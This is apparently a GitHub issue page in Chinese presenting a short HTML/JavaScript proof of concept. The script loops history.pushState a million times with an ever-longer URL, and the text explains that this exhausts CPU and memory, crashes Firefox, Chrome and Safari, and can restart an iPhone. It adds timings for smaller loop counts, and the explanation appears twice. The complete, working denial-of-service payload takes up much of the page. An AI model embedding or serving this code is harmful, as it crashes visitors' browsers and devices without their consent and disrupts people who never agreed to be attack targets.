Open xsf0105 opened 5 years ago
history.pushState
<html> <body> <script> var total=""; for (var i=0;i<1000000;i++) { total= total+i.toString(); history.pushState(0,0,total); } </script> </body> </html>
上面就是十二行代码,关键点在于针对total这个url的循环:
total
url
history.pushState(0,0,total);
不停的在修改url,循环了1000000次,不停的向历史记录堆栈中新增记录,会导致CPU和内存占用率过高以及firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。
CPU
当上面那个循环次数为十万以上级别的时候,CPU,内存使用率瞬间100%,然后崩溃死机; 当上面那个循环次数缩小到10000左右的时候,CPU,内存使用率大概在20秒内逐渐升高至100%,然后崩溃死机
可见,通过循环不停的向向历史记录堆栈中新增记录的同时,页面会刷新到跳转的新地址,就是循环累加的一个“伪地址”,当这个长度超限的时候,就会引起dos了,攻击的效果和效率完全取决于循环的次数和tagret的硬件配置。
history.pushState
上面就是十二行代码,关键点在于针对
total
这个url
的循环:不停的在修改
url
,循环了1000000次,不停的向历史记录堆栈中新增记录,会导致CPU
和内存占用率过高以及firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。当上面那个循环次数为十万以上级别的时候,CPU,内存使用率瞬间100%,然后崩溃死机; 当上面那个循环次数缩小到10000左右的时候,CPU,内存使用率大概在20秒内逐渐升高至100%,然后崩溃死机
可见,通过循环不停的向向历史记录堆栈中新增记录的同时,页面会刷新到跳转的新地址,就是循环累加的一个“伪地址”,当这个长度超限的时候,就会引起dos了,攻击的效果和效率完全取决于循环的次数和tagret的硬件配置。